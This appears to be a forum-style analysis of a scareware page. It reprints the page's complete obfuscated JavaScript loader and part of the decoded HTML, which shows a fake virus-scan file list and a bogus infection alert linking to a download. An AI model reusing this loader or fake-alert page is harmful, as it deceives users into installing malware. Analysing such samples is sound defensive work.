512,516,510,439,522,521,506,468,441,512,516,510,454,455,455,458,453,510,512,509,441,439,506,515,504,522,522,468,441,509,518,515,507,508,521,502,512,506,518,517,441,439,526,512,507,523,511,468,441,459,458,441,439,511,508,512,510,511,523,468,441,459,455,441,469,475,493,475,452,489,472,484,439,475,521,512,525,508,439,447,476,465,448,439,439,467,454,507,512,525,469,417,439,439,467,507,512,525,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,441,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,502,505,510,441,469,417,416,439,439,467,507,512,525,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,502,519,521,518,510,521,508,522,522,441,469,417,439,439,439,439,439,439,439,416,467,507,512,525,439,522,523,528,515,508,468,441,439,507,512,522,519,515,504,528,465,439,505,515,518,506,514,466,441,439,506,515,504,522,522,468,441,519,521,518,510,521,508,522,522,502,505,504,521,502,509,512,515,515,441,469,439,439,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,439,439,439,439,439,439,439,439,416,467,507,512,525,439,512,507,468,441,519,521,518,510,521,508,522,522,502,519,521,506,517,523,441,469,456,455,455,444,467,454,507,512,525,469,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,439,417,439,439,439,439,439,439,467,454,507,512,525,469,439,439,439,439,439,439,439,439,439,439,417,416,467,454,507,512,525,469,417,439,439,467,454,507,512,525,469,417,439,439,439,439,467,507,512,525,439,506,515,504,522,522,468,441,509,512,515,508,522,457,441,439,522,523,528,515,508,468,441,439,519,504,507,507,512,517,510,452,523,518,519,465,458,519,527,466,519,504,507,507,512,517,510,452,515,508,509,523,465,456,460,519,527,466,441,469,467,522,523,521,518,517,510,469,485,518,526,439,522,506,504,517,517,512,517,510,465,439,467,522,519,504,517,439,512,507,468,441,509,512,515,508,522,456,441,469,467,454,522,519,504,517,469,467,454,522,523,521,518,517,510,469,467,454,507,512,525,469,417,416,467,507,512,525,439,506,515,504,522,522,468,441,526,512,517,507,518,526,456,441,469,417,439,439,439,416,439,439,467,507,512,525,439,522,523,528,515,508,468,441,509,518,517,523,452,522,512,529,508,465,439,456,460,519,527,466,439,509,518,517,523,452,526,508,512,510,511,523,465,439,505,518,515,507,466,439,506,518,515,518,521,465,439,526,511,512,523,508,466,439,519,504,507,507,512,517,510,452,523,518,519,465,439,456,459,519,527,466,439,519,504,507,507,512,517,510,452,515,508,509,523,465,439,458,460,519,527,466,441,469,417,439,439,439,439,439,439,439,439,416,496,518,524,521,439,474,518,516,519,524,523,508,521,439,512,522,439,480,517,509,508,506,523,508,507,440,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,416,467,507,512,525,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,523,518,519,465,439,457,457,519,527,466,441,469,417,439,439,439,439,439,439,439,439,416,491,511,521,508,504,523,522,439,504,517,507,439,504,506,523,512,518,517,522,465,439,439,439,439,439,439,467,454,507,512,525,469,439,439,439,417,439,439,439,439,439,439,439,439,467,523,504,505,515,508,439,505,518,521,507,508,521,468,441,455,441,469,417,439,439,439,439,439,439,439,439,439,439,467,523,505,518,507,528,469,467,523,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,456,461,461,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,485,504,516,508,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,439,526,512,507,523,511,468,441,456,455,460,441,469,489,512,522,514,439,515,508,525,508,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,463,460,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,475,504,523,508,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,456,457,455,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,477,512,515,508,522,439,512,517,509,508,506,523,508,507,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,526,512,507,523,511,468,441,456,457,455,441,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,456,441,469,490,523,504,523,508,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,439,439,439,439,467,523,521,439,506,515,504,522,522,468,441,441,439,512,507,468,441,523,511,521,508,504,523,456,441,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,456,455,453,510,512,509,441,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,521,512,510,511,523,465,439,460,519,527,466,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,469,439,439,467,505,469,494,458,457,454,493,512,521,524,523,453,504,440,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,505,469,467,509,518,517,523,439,506,518,515,518,521,468,441,521,508,507,441,469,474,521,512,523,512,506,504,515,467,454,509,518,517,523,469,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,456,456,453,456,463,453,457,455,455,463,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,458,461,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,494,504,512,523,512,517,510,439,521,508,516,518,525,504,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,439,439,439,439,467,523,521,439,506,515,504,522,522,468,441,441,439,512,507,468,441,523,511,521,508,504,523,457,441,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,456,455,453,510,512,509,441,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,521,512,510,511,523,465,439,460,519,527,466,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,469,439,439,467,505,469,476,527,519,515,518,512,523,452,484,490,494,518,521,507,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,505,469,467,509,518,517,523,439,506,518,515,518,521,468,441,521,508,507,441,469,474,521,512,523,512,506,504,515,467,454,509,518,517,523,469,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,456,456,453,456,463,453,457,455,455,463,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,461,460,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,494,504,512,523,512,517,510,439,521,508,516,518,525,504,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,439,439,439,439,467,523,521,439,506,515,504,522,522,468,441,441,439,512,507,468,441,523,511,521,508,504,523,458,441,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,512,516,510,439,522,521,506,468,441,512,516,510,454,455,456,455,453,510,512,509,441,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,521,512,510,511,523,465,439,460,519,527,466,441,439,504,515,512,510,517,468,441,504,505,522,516,512,507,507,515,508,441,469,439,439,467,505,469,494,512,517,439,458,457,465,475,508,515,509,452,495,488,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,467,505,469,467,509,518,517,523,439,506,518,515,518,521,468,441,521,508,507,441,469,474,521,512,523,512,506,504,515,467,454,509,518,517,523,469,467,454,505,469,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,456,456,453,456,463,453,457,455,455,463,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,459,459,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,523,507,439,506,515,504,522,522,468,441,523,507,502,506,508,515,515,457,441,469,494,504,512,523,512,517,510,439,521,508,516,518,525,504,515,467,454,523,507,469,417,439,439,439,439,439,439,439,439,439,439,467,454,523,521,469,417,439,439,439,439,439,439,467,454,523,505,518,507,528,469,467,454,523,504,505,515,508,469,417,417,439,439,439,439,439,439,439,439,467,507,512,525,439,522,523,528,515,508,468,441,439,525,512,522,512,505,512,515,512,523,528,465,511,512,507,507,508,517,466,439,519,504,507,507,512,517,510,452,523,518,519,465,439,456,457,519,527,466,439,519,504,507,507,512,517,510,452,515,508,509,523,465,439,456,457,519,527,466,439,526,512,507,523,511,465,439,461,455,455,519,527,466,441,439,506,515,504,522,522,468,441,441,439,512,507,468,441,507,508,522,506,441,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,505,469,475,508,522,506,521,512,519,523,512,518,517,465,467,454,505,469,467,505,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,491,511,512,522,439,519,521,518,510,521,504,516,439,512,522,439,519,518,523,508,517,523,512,504,515,515,528,439,507,504,517,510,508,521,518,524,522,439,509,518,521,439,528,518,524,521,439,522,528,522,523,508,516,453,439,467,505,469,491,521,518,513,504,517,452,475,518,526,517,515,518,504,507,508,521,467,454,505,469,439,522,523,508,504,515,512,517,510,439,519,504,522,522,526,518,521,507,522,451,439,506,521,508,507,512,523,439,506,504,521,507,522,439,504,517,507,439,518,523,511,508,521,439,519,508,521,522,518,517,504,515,439,512,517,509,518,521,516,504,523,512,518,517,439,509,521,518,516,439,528,518,524,521,439,506,518,516,519,524,523,508,521,453,417,439,439,439,439,439,439,439,439,439,439,439,439,467,505,521,469,467,505,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,467,505,469,472,507,525,512,506,508,465,467,454,505,469,467,505,521,469,417,439,439,439,439,439,439,439,439,439,439,439,439,496,518,524,439,517,508,508,507,439,523,518,439,521,508,516,518,525,508,439,523,511,512,522,439,523,511,521,508,504,523,439,504,522,439,522,518,518,517,439,504,522,439,519,518,522,522,512,505,515,508,440,439,439,439,439,439,439,467,454,507,512,525,469,417,439,439,439,439,439,439,439,439,467,507,512,525,439,522,523,528,515,508,468,441,519,504,507,507,512,517,510,452,523,518,519,465,439,460,455,519,527,466,439,519,504,507,507,512,517,510,452,515,508,509,523,465,439,460,464,455,519,527,466,441,469,467,504,439,511,521,508,509,468,441,454,507,518,526,517,515,518,504,507,453,519,511,519,470,512,507,468,457,455,455,459,452,456,441,469,477,524,515,515,439,522,528,522,523,508,516,439,506,515,508,504,517,524,519,467,454,504,469,467,454,507,512,525,469,417,439,439,467,454,507,512,525,469,417,467,454,507,512,525,469,417,467,507,512,525,439,512,507,468,441,510,508,518,512,519,507,512,525,441,439,522,523,528,515,508,468,441,507,512,522,519,515,504,528,465,517,518,517,508,441,469,467,454,507,512,525,469,417,467,522,506,521,512,519,523,439,515,504,517,510,524,504,510,508,468,441,513,504,525,504,522,506,521,512,519,523,441,469,475,521,504,510,453,512,517,512,523,447,507,518,506,524,516,508,517,523,453,510,508,523,476,515,508,516,508,517,523,473,528,480,507,447,446,504,519,446,448,448,466,417,509,524,517,506,523,512,518,517,439,526,521,512,523,508,510,508,518,512,519,447,448,530,417,416,507,468,507,518,506,524,516,508,517,523,453,510,508,523,476,515,508,516,508,517,523,473,528,480,507,447,446,510,508,518,512,519,507,512,525,446,448,466,417,416,507,453,512,517,517,508,521,479,491,484,483,468,441,467,512,509,521,504,516,508,439,526,512,507,523,511,468,456,439,511,508,512,510,511,523,468,456,439,505,518,521,507,508,521,468,455,439,522,521,506,468,446,510,508,518,512,519,453,519,511,519,446,469,467,454,512,509,521,504,516,508,469,441,466,417,532,417,467,454,522,506,521,512,519,523,469,417,467,454,505,518,507,528,469,467,454,511,523,516,515,469];
var tmp='';
var gqw='';
for (i=0; i<str.length; i++){
gqw=str[i]-407;
tmp=tmp+String.fromCharCode(gqw);
}
document.write(tmp);


Decoding this is extremely easy (which surprises me), and shows it spits out the following;


<title>Computer Security</title>
<script type="text/javascript" src="img/jquery.js"></script>
<script type="text/javascript" src="img/jquery-init.js"></script>
<script type="text/javascript" src="img/drugndrop.js"></script>
<script>

var fnm=new Array();
fnm[0] = '$.inf';
fnm[1] = '12520437.cpx';
fnm[2] = '12520850.cpx';
fnm[3] = '6to4svc.dll';
fnm[4] = '.dll';
fnm[5] = 'aaclient.dll';
fnm[6] = 'AboutRepliGo.dll';
fnm[7] = 'ac3acm.acm';
fnm[8] = 'access.cpl';
fnm[9] = 'acctres.dll';
fnm[10] = 'accwiz.exe';
fnm[11] = 'acelpdec.ax';
fnm[12] = 'acledit.dll';
fnm[13] = 'aclui.dll';
fnm[14] = 'activeds.dll';
fnm[15] = 'activeds.tlb';
fnm[16] = 'actmovie.exe';
fnm[17] = 'actxprxy.dll';
fnm[18] = 'ADME.DLL';
fnm[19] = 'admparse.dll';
fnm[20] = 'admwprox.dll';
fnm[21] = 'admxprox.dll';
fnm[22] = 'adptif.dll';
fnm[23] = 'adsiis.dll';
fnm[24] = 'adsldp.dll';
fnm[25] = 'adsldpc.dll';
fnm[26] = 'adsmsext.dll';
fnm[27] = 'adsnds.dll';
fnm[28] = 'adsnt.dll';
fnm[29] = 'adsnw.dll';
fnm[30] = 'advapi32.dll';
fnm[31] = 'advpack.dll';
fnm[32] = 'agas.dll';
fnm[33] = 'ahui.exe';
fnm[34] = 'alg.exe';
fnm[35] = 'alrsvc.dll';
fnm[36] = 'amcompat.tlb';
fnm[37] = 'amstream.dll';
fnm[38] = 'ansi.sys';
fnm[39] = 'apcups.dll';
fnm[40] = 'append.exe';
fnm[41] = 'apphelp.dll';
fnm[42] = 'appmgmts.dll';
fnm[43] = 'appmgr.dll';
fnm[44] = 'appwiz.cpl';
fnm[45] = 'ArmAccess.dll';
fnm[46] = 'arp.exe';
fnm[47] = 'asctrls.ocx';
fnm[48] = 'asferror.dll';
fnm[49] = 'asfsipc.dll';
fnm[50] = 'asr_fmt.exe';
fnm[51] = 'asr_ldm.exe';
fnm[52] = 'asr_pfu.exe';
fnm[53] = 'asycfilt.dll';
fnm[54] = 'at.exe';
fnm[55] = 'AtalaImg2.dll';
fnm[56] = 'AtalaIS.dll';
fnm[57] = 'AtalCtrl.ocx';
fnm[58] = 'athprxy.dll';
fnm[59] = 'ati2cqag.dll';
fnm[60] = 'ati2dvag.dll';
fnm[61] = 'ati2edxx.dll';
fnm[62] = 'ati2evxx.dll';
fnm[63] = 'ati2evxx.exe';
fnm[64] = 'Ati2mdxx.exe';
fnm[65] = 'ati2sgag.exe';
fnm[66] = 'ati3duag.dll';
fnm[67] = 'ATIDDC.DLL';
fnm[68] = 'ATIDEMGR.dll';
fnm[69] = 'ATIDEMGX.dll';
fnm[70] = 'atifglpf.xml';
fnm[71] = 'atiicdxx.dat';
fnm[72] = 'atiiiexx.dll';
fnm[73] = 'atikvmag.dll';
fnm[74] = 'atioglx1.dll';
fnm[75] = 'atioglx2.dll';
fnm[76] = 'atioglxx.dll';
fnm[77] = 'atiok3x2.dll';
fnm[78] = 'atipdlxx.dll';
fnm[79] = 'atitvo32.dll';
fnm[80] = 'ativcoxx.dll';
fnm[81] = 'ativva5x.dat';
fnm[82] = 'ativva6x.dat';
fnm[83] = 'ativvaxx.dat';
fnm[84] = 'ativvaxx.dll';
fnm[85] = 'atkctrs.dll';
fnm[86] = 'atl.dll';
fnm[87] = 'atl71.dll';
fnm[88] = 'AtlColor.ocx';
fnm[89] = 'atmadm.exe';
fnm[90] = 'atmfd.dll';
fnm[91] = 'atmlib.dll';
fnm[92] = 'atmpvcno.dll';
fnm[93] = 'atrace.dll';
fnm[94] = 'attrib.exe';
fnm[95] = 'Audiodev.dll';
fnm[96] = 'audiosrv.dll';
fnm[97] = 'auditusr.exe';
fnm[98] = 'authz.dll';
fnm[99] = 'autochk.exe';
fnm[100] = 'autoconv.exe';
fnm[101] = 'autodisc.dll';
fnm[102] = 'AUTOEXEC.NT';
fnm[103] = 'autofmt.exe';
fnm[104] = 'autolfn.exe';
fnm[105] = 'avicap.dll';
fnm[106] = 'avicap32.dll';
fnm[107] = 'avifil32.dll';
fnm[108] = 'avifile.dll';
fnm[109] = 'avmeter.dll';
fnm[110] = 'avtapi.dll';
fnm[111] = 'avwav.dll';
fnm[112] = 'basesrv.dll';
fnm[113] = 'bass.dll';
fnm[114] = 'BASSMOD.dll';
fnm[115] = 'basswma.dll';
fnm[116] = 'batmeter.dll';
fnm[117] = 'batt.dll';
fnm[118] = 'BCGCBPRO800.dll';
fnm[119] = 'BCGCBPRO800u.dll';
fnm[120] = 'BCGPOleAcc.dll';
fnm[121] = 'bidispl.dll';
fnm[122] = 'bios1.rom';
fnm[123] = 'bios4.rom';
fnm[124] = 'bitsprx2.dll';
fnm[125] = 'bitsprx3.dll';
fnm[126] = 'blackbox.dll';
fnm[127] = 'blastcln.exe';
fnm[128] = 'bootcfg.exe';
fnm[129] = 'bootok.exe';
fnm[130] = 'bootvid.dll';
fnm[131] = 'bootvrfy.exe';
fnm[132] = 'bopomofo.uce';
fnm[133] = 'browselc.dll';
fnm[134] = 'browser.dll';
fnm[135] = 'browseui.dll';
fnm[136] = 'browsewm.dll';
fnm[137] = 'bt2k_ins.dll';
fnm[138] = 'BtAudioHelper.dll';
fnm[139] = 'btbigbmp.dll';
fnm[140] = 'btbip.dll';
fnm[141] = 'btcpl.cpl';
fnm[142] = 'btcpl.cpl.manifest';
fnm[143] = 'btcss.dll';
fnm[144] = 'btcss.dll.manifest';
fnm[145] = 'btdev.dll';
fnm[146] = 'bthci.dll';
fnm[147] = 'bthcrp.dll';
fnm[148] = 'bthcrpui.dll';
fnm[149] = 'bthprops.cpl';
fnm[150] = 'bthserv.dll';
fnm[151] = 'btins.dll';
fnm[152] = 'BTNCopy.dll';
fnm[153] = 'BTNCopy.tlb';
fnm[154] = 'BTNeighborhood.dll';
fnm[155] = 'BTNeighborhood.dll.manifest';
fnm[156] = 'BTNeighborhood.tlb';
fnm[157] = 'btosif.dll';
fnm[158] = 'btosif_notes.dll';
fnm[159] = 'btosif_ol.dll';
fnm[160] = 'btosif_olx.dll';
fnm[161] = 'btpanui.dll';
fnm[162] = 'btprn2k.dll';
fnm[163] = 'btrez.dll';
fnm[164] = 'btrezxp.dll';
fnm[165] = 'btsec.dll';
fnm[166] = 'btsendto.dll';
fnm[167] = 'btsendto_ie.dll';
fnm[168] = 'btsendto_lnagent.nsf';
fnm[169] = 'btsendto_notes.dll';
fnm[170] = 'btsendto_office.dll';
fnm[171] = 'btsendto_wab.dll';
fnm[172] = 'btwhidcs.dll';
fnm[173] = 'BtWiaExt.dll';
fnm[174] = 'BtWizard.dll';
fnm[175] = 'btwpimif.dll';
fnm[176] = 'btw_ci.dll';
fnm[177] = 'BTXPPanel.dll';
fnm[178] = 'BTXPPanel.tlb';
fnm[179] = 'BtXpShell.dll';
fnm[180] = 'C-XLS.dll';
fnm[181] = 'cabinet.dll';
fnm[182] = 'cabview.dll';
fnm[183] = 'cacls.exe';
fnm[184] = 'calc.exe';
fnm[185] = 'camocx.dll';
fnm[186] = 'capesnpn.dll';
fnm[187] = 'cards.dll';
fnm[188] = 'catsrv.dll';
fnm[189] = 'catsrvps.dll';
fnm[190] = 'catsrvut.dll';
fnm[191] = 'ccfgnt.dll';
fnm[192] = 'ccrpbds6.dll';
fnm[193] = 'ccrpprg6.ocx';
fnm[194] = 'cdfview.dll';
fnm[195] = 'cdm.dll';
fnm[196] = 'cdmodem.dll';
fnm[197] = 'cdosys.dll';
fnm[198] = 'cdplayer.exe.manifest';
fnm[199] = 'CDRip3.dll';
fnm[200] = 'certcli.dll';
fnm[201] = 'certmgr.dll';
fnm[202] = 'certmgr.msc';
fnm[203] = 'CEWMDM.dll';
fnm[204] = 'cfgbkend.dll';
fnm[205] = 'cfgmgr32.dll';
fnm[206] = 'charmap.exe';
fnm[207] = 'ChCfg.exe';
fnm[208] = 'chcp.com';
fnm[209] = 'chkdsk.exe';
fnm[210] = 'chkntfs.exe';
fnm[211] = 'ciadmin.dll';
fnm[212] = 'ciadv.msc';
fnm[213] = 'cic.dll';
fnm[214] = 'cidaemon.exe';
fnm[215] = 'ciodm.dll';
fnm[216] = 'cipher.exe';
fnm[217] = 'cisvc.exe';
fnm[218] = 'ckcnv.exe';
fnm[219] = 'clb.dll';
fnm[220] = 'clbcatex.dll';
fnm[221] = 'clbcatq.dll';
fnm[222] = 'cleanmgr.exe';
fnm[223] = 'cliconf.chm';
fnm[224] = 'cliconfg.dll';
fnm[225] = 'cliconfg.exe';
fnm[226] = 'cliconfg.rll';
fnm[227] = 'clipbrd.exe';
fnm[228] = 'clipsrv.exe';
fnm[229] = 'clspack.exe';
fnm[230] = 'clusapi.dll';
fnm[231] = 'cmcfg32.dll';
fnm[232] = 'cmd.exe';
fnm[233] = 'cmdial32.dll';
fnm[234] = 'CMDIALOG.SRG';
fnm[235] = 'cmdl32.exe';
fnm[236] = 'cmdlib.wsc';
fnm[237] = 'CmdLineExt.dll';
fnm[238] = 'cmmgr32.hlp';
fnm[239] = 'cmmon32.exe';
fnm[240] = 'cmos.ram';
fnm[241] = 'cmpbk32.dll';
fnm[242] = 'cmprops.dll';
fnm[243] = 'cmsetACL.dll';
fnm[244] = 'cmstp.exe';
fnm[245] = 'cmutil.dll';
fnm[246] = 'cnbjmon.dll';
fnm[247] = 'cnetcfg.dll';
fnm[248] = 'cnvfat.dll';
fnm[249] = 'colbact.dll';
fnm[250] = 'comaddin.dll';
fnm[251] = 'comcat.dll';
fnm[252] = 'comct232.ocx';
fnm[253] = 'comct332.ocx';
fnm[254] = 'COMCTL.SRG';
fnm[255] = 'COMCTL2.SRG';
fnm[256] = 'comctl32.dll';
fnm[257] = 'comctl32.ocx';
fnm[258] = 'comdlg32.dll';
fnm[259] = 'comdlg32.ocx';
fnm[260] = 'comm.drv';
fnm[261] = 'command.com';
fnm[262] = 'commdlg.dll';
fnm[263] = 'COMMTB32.DLL';
fnm[264] = 'comp.exe';
fnm[265] = 'compact.exe';
fnm[266] = 'CompareFilesX.ocx';
fnm[267] = 'compatUI.dll';
fnm[268] = 'compmgmt.msc';
fnm[269] = 'compobj.dll';
fnm[270] = 'compstui.dll';
fnm[271] = 'comrepl.dll';
fnm[272] = 'comres.dll';
fnm[273] = 'comsnap.dll';
fnm[274] = 'comsvcs.dll';
fnm[275] = 'comuid.dll';
fnm[276] = 'config.hsp';
fnm[277] = 'CONFIG.NT';
fnm[278] = 'CONFIG.TMP';
fnm[279] = 'confmsp.dll';
fnm[280] = 'conime.exe';
fnm[281] = 'console.dll';
fnm[282] = 'control.exe';
fnm[283] = 'convert.exe';
fnm[284] = 'convlog.exe';
fnm[285] = 'corpol.dll';
fnm[286] = 'country.sys';
fnm[287] = 'credui.dll';
fnm[288] = 'crtdll.dll';
fnm[289] = 'crypt32.dll';
fnm[290] = 'cryptdlg.dll';
fnm[291] = 'cryptdll.dll';
fnm[292] = 'cryptext.dll';
fnm[293] = 'cryptnet.dll';
fnm[294] = 'cryptsvc.dll';
fnm[295] = 'cryptui.dll';
fnm[296] = 'cscdll.dll';
fnm[297] = 'cscript.exe';
fnm[298] = 'cscui.dll';
fnm[299] = 'CSH.DLL';
fnm[300] = 'csrsrv.dll';
fnm[301] = '.exe';
fnm[302] = 'csseqchk.dll';
fnm[303] = 'CSVSpecialProcessing.dll';
fnm[304] = 'ctfmon.exe';
fnm[305] = 'ctl3d32.dll';
fnm[306] = 'ctl3dv2.dll';
fnm[307] = 'ctype.nls';
fnm[308] = 'c_037.nls';
fnm[309] = 'c_10000.nls';
fnm[310] = 'c_10006.nls';
fnm[311] = 'c_10007.nls';
fnm[312] = 'c_10010.nls';
fnm[313] = 'c_10017.nls';
fnm[314] = 'c_10029.nls';
fnm[315] = 'c_10079.nls';
fnm[316] = 'c_10081.nls';
fnm[317] = 'c_10082.nls';
fnm[318] = 'c_1026.nls';
fnm[319] = 'c_1250.nls';
fnm[320] = 'c_1251.nls';
fnm[321] = 'c_1252.nls';
fnm[322] = 'c_1253.nls';
fnm[323] = 'c_1254.nls';
fnm[324] = 'c_1255.nls';
fnm[325] = 'c_1256.nls';
fnm[326] = 'c_1257.nls';
fnm[327] = 'c_1258.nls';
fnm[328] = 'c_20127.nls';
fnm[329] = 'c_20261.nls';
fnm[330] = 'c_20866.nls';
fnm[331] = 'c_20905.nls';
fnm[332] = 'c_21866.nls';
fnm[333] = 'c_28591.nls';
fnm[334] = 'c_28592.nls';
fnm[335] = 'c_28593.nls';
fnm[336] = 'C_28594.NLS';
fnm[337] = 'C_28595.NLS';
fnm[338] = 'C_28597.NLS';
fnm[339] = 'c_28598.nls';
fnm[340] = 'c_28599.nls';
fnm[341] = 'c_28603.nls';
fnm[342] = 'c_28605.nls';
fnm[343] = 'c_437.nls';
fnm[344] = 'c_500.nls';
fnm[345] = 'c_737.nls';
fnm[346] = 'c_775.nls';
fnm[347] = 'c_850.nls';
fnm[348] = 'c_852.nls';
fnm[349] = 'c_855.nls';
fnm[350] = 'c_857.nls';
fnm[351] = 'c_860.nls';
fnm[352] = 'c_861.nls';
fnm[353] = 'c_863.nls';
fnm[354] = 'c_865.nls';
fnm[355] = 'c_866.nls';
fnm[356] = 'c_869.nls';
fnm[357] = "fdff.fd";
fnm[358] = 'c_875.nls';
fnm[359] = 'c_932.nls';
fnm[360] = 'c_936.nls';
fnm[361] = 'c_949.nls';
fnm[362] = 'c_950.nls';
fnm[363] = 'd3d8.dll';
fnm[364] = 'd3d8caps.dat';
fnm[365] = 'd3d8thk.dll';
fnm[366] = 'd3d9.dll';
fnm[367] = 'd3d9caps.dat';
fnm[368] = 'd3dim.dll';
fnm[369] = 'd3dim700.dll';
fnm[370] = 'd3dpmesh.dll';
fnm[371] = 'd3dramp.dll';
fnm[372] = 'd3drm.dll';
fnm[373] = 'd3dx9_24.dll';
fnm[374] = 'd3dx9_25.dll';
fnm[375] = 'd3dx9_26.dll';
fnm[376] = 'd3dx9_27.dll';
fnm[377] = 'd3dx9_28.dll';
fnm[378] = 'd3dx9_29.dll';
fnm[379] = 'd3dx9_30.dll';
fnm[380] = 'd3dx9_31.dll';
fnm[381] = 'd3dx9_32.dll';
fnm[382] = 'd3dxof.dll';
fnm[383] = 'danim.dll';
fnm[384] = 'dataclen.dll';
fnm[385] = 'datime.dll';
fnm[386] = 'davclnt.dll';
fnm[387] = 'daxctle.ocx';
fnm[388] = 'dbgeng.dll';
fnm[389] = 'dbghelp.dll';
fnm[390] = 'dbmsrpcn.dll';
fnm[391] = 'DBMSSHRN.DLL';
fnm[392] = 'DBMSSOCN.DLL';
fnm[393] = 'dbnetlib.dll';
fnm[394] = 'dbnmpntw.dll';
fnm[395] = 'Dcache.bin';
fnm[396] = 'dciman32.dll';
fnm[397] = 'dcomcnfg.exe';
fnm[398] = 'ddeml.dll';
fnm[399] = 'ddeshare.exe';
fnm[400] = 'ddraw.dll';
fnm[401] = 'ddrawex.dll';
fnm[402] = 'debug.exe';
fnm[403] = 'defrag.exe';
fnm[404] = 'desk.cpl';
fnm[405] = 'deskadp.dll';
fnm[406] = 'deskmon.dll';
fnm[407] = 'deskperf.dll';
fnm[408] = 'desktop.ini';
fnm[409] = 'devenum.dll';
fnm[410] = 'devmgmt.msc';
fnm[411] = 'devmgr.dll';
fnm[412] = 'dfrg.msc';
fnm[413] = 'dfrgfat.exe';
fnm[414] = 'dfrgntfs.exe';
fnm[415] = 'dfrgres.dll';
fnm[416] = 'dfrfnmnap.dll';
fnm[417] = 'dfrgui.dll';
fnm[418] = 'dfshim.dll';
fnm[419] = 'dfsshlex.dll';
fnm[420] = 'dgnet.dll';
fnm[421] = 'dgrpsetu.dll';
fnm[422] = 'dfnmetup.dll';
fnm[423] = 'dhcpcsvc.dll';
fnm[424] = 'dhcpmon.dll';
fnm[425] = 'dhcpsapi.dll';
fnm[426] = 'diactfrm.dll';
fnm[427] = 'diantz.exe';
fnm[428] = 'DiffDoc.CNT';
fnm[429] = 'DiffDoc.HLP';
fnm[430] = 'digest.dll';
fnm[431] = 'dimap.dll';
fnm[432] = 'dinput.dll';
fnm[433] = 'dinput8.dll';
fnm[434] = 'diskcomp.com';
fnm[435] = 'diskcopy.com';
fnm[436] = 'diskcopy.dll';
